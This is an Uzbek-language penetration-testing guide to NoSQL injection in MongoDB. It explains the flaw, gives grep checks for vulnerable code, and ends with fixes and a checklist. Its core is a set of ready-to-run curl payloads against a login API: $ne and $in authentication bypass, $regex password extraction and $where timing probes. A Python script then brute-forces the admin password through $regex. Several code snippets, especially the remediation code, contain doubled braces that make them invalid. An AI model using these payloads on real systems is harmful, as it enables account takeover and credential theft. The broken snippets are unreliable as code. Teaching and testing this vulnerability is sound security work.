💉
NoSQL Injection
MongoDB operatorlarini suiiste'mol
1
Maqsad
MongoDB so'rovini buzishNoSQL bazalar (MongoDB, CouchDB, Firebase) so'rov obyektini qabul qiladi. Agar foydalanuvchi qiymati to'g'ridan-to'g'ri so'rovga tushsa — operator qo'shib, autentifikatsiyani chetlab o'tish yoki butun bazani o'qish mumkin.
2
Tushuntirish
// XAVFLI — qiymat to'g'ridan-to'g'ri so'rovga db.findOne({ email: req.body.email, password: req.body.password }); // hujum JSON emas, shaklni o'zgartiradi: {{ "email": "admin@site.uz", "password": {{ "$ne": 1 }} }} // password 1 ga teng EMAS // → har qanday parol bilan kirish!
Asosiy operatorlar
| Operator | Nima qiladi | Hujum |
|---|---|---|
$ne | teng emas | parolni aylanib o'tish |
$gt / $lt | katta/kichik | ma'lumot olish (blind) |
$in | ro'yxatda bormi | login bypass |
$regex | qalqon bilan qidirish | parolni belgibetlab olish |
$where | JS ifodasi | oddiy 1==1 |
$exists | mavjudlik | maydonlarni aniqlash |
3
Qanday aniqlanadi
# 1) MongoJS / NoSQL ishlatiladimi grep -rniE "mongoose|mongodb|MongoClient|\.find\(|\.findOne\(" src/ | head grep -nE '"mongoose"|"mongodb"' package.json # 2) so'rov obyekti foydalanuvchidan keladimi grep -rnE "findOne\(\{.*req\.|find\(\{.*req\.|body\.\[|\$where" src/ | head # 3) Content-Type curl -s -D- -o /dev/null https://site.uz/api/auth/login \ -H "Content-Type: application/json" -d '{}' | grep -i content-type
4
Buyruqlar
8 xil payload# 1) $ne — barcha parollarni aylanib o'tish curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \ -d '{"email":"admin@site.uz","password":{"$ne":""}}' | jq -c . curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \ -d '{"email":{"$ne":""},"password":{"$ne":""}}' | jq -c . // har qanday email + har qanday parol → admin # 2) $gt — bo'sh parol / katta qiymat curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \ -d '{"email":"admin@site.uz","password":{"$gt":""}}' | jq -c . # 3) $regex — parolni belgibetlab olish curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \ -d '{"email":"admin@site.uz","password":{"$regex":"^a"}}' | jq -c . curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \ -d '{"email":"admin@site.uz","password":{"$regex":"^ab"}}' | jq -c . // 200 → "ab" bilan boshlanadi (harflab chiqarib olamiz) # 4) $in — ro'yxat curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \ -d '{"email":{"$in":["admin@site.uz","root@site.uz"]},"password":{"$ne":""}}' | jq -c . # 5) $where — JS curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \ -d '{"$where":"1==1"}' | jq -c . curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \ -d '{"$where":"sleep(5000)"}' | jq -c . # time-based # 6) $exists — maydonlarni aniqlash curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \ -d '{"email":"admin@site.uz","password":{"$exists":true}}' | jq -c . # 7) boshqa endpointlar curl -s -X POST https://site.uz/api/search -H "Content-Type: application/json" \ -d '{"q":{"$ne":null}}' | jq -c . curl -s -X POST https://site.uz/api/users -H "Content-Type: application/json" \ -d '{"role":{"$ne":"user"}}' | jq -c . # 8) NoSQLi kalitlari orqali (/api/user/key:xxx) curl -s "https://site.uz/api/user/email:admin@site.uz" | jq -c . curl -s "https://site.uz/api/user/password:{\$ne:1}" | jq -c . # 9) to'liq parolni chiqarish (regex binary search) python3 - <<'PYEOF' import requests, string C = string.printable[:62] found = "" while True: for c in C: r = requests.post("https://site.uz/api/auth/login", json={"email": "admin@site.uz", "password": {"$regex": f"^{found}{c}"}}) if r.status_code == 200: found += c print(" topildi:", found) break else: print(" parol:", found, "tugadi") break PYEOF
5
Natija
✓ MUvaffaqiyat — hujum ISHLADI
| Server javobi | Nima degani |
|---|---|
`{"password":{"$ne":1}}` bilan kirish | **NoSQLi — autentifikatsiya yo'q qoldi** |
`$regex` harflab parolni qaytardi | **Parol to'liq o'g'irlindi** |
`$where:1==1` barcha foydalanuvchilarni qaytardi | **To'liq jadval oqildi** |
`$in` bilan admin email topildi | **Email enumeration** |
`sleep(5000)` 5 sek kechikdi | **Time-based blind NoSQLi** |
✗ Rad etish — hujum ISHLAMADI
| Server javobi | Nima degani |
|---|---|
`400 / invalid credentials` | **To'g'ri** — tiplar tekshiriladi |
Operator obyekt rad etildi (400) | **Xavfsiz** |
`success:false` har doim bir xil | **To'g'ri** |
6
Zararni yopish
1. Qiymat turini majburlash
// har doim string bo'lishi kerak
if (typeof email !== 'string' || typeof password !== 'string')
return res.status(400).json({{ success:false }});
const email = String(req.body.email).toLowerCase();
if (!/^[^@]+@[^@]+\.[a-z]{{2,}}$/.test(email)) return fail();
2. Operatorlarni to'ldirmaslik
const DANGEROUS = ['$ne','$gt','$lt','$gte','$lte','$in','$nin',
'$regex','$where','$exists','$or','$and','$not'];
function safe(v) {{
if (typeof v === 'string') return v;
if (typeof v !== 'object' || v === null) return v;
for (const k of Object.keys(v)) if (DANGEROUS.includes(k)) return null;
return v;
}}
3. Mongoose schema (eng yaxshi)
const userSchema = new mongoose.Schema({{
email: {{ type: String, required: true, unique: true }},
password: {{ type: String, required: true, select: false }} // ← har doim
}});
userSchema.pre('find', function () {{ this.select('-password'); }});
4. MongoDB sozlamasi
// autentifikatsiya va TLS majburiy
db.createUser({{ user:'app', pwd: process.env.MONGO_PW, roles:[{{role:'readWrite', db:'app'}}] }})
mongod --auth --bind_ip 127.0.0.1
7
Tekshirish ro'yxati
- Email/parol `typeof string` ga tekshiriladi
- `$` bilan boshlanuvchi operatorlar rad etilgan
- Mongoose `type` va `required` belgilangan
- `password` maydoni `select: false`
- MongoDB autentifikatsiya bilan, `127.0.0.1` ga bog'langan
- `{"$ne":1}` bilan test qilindi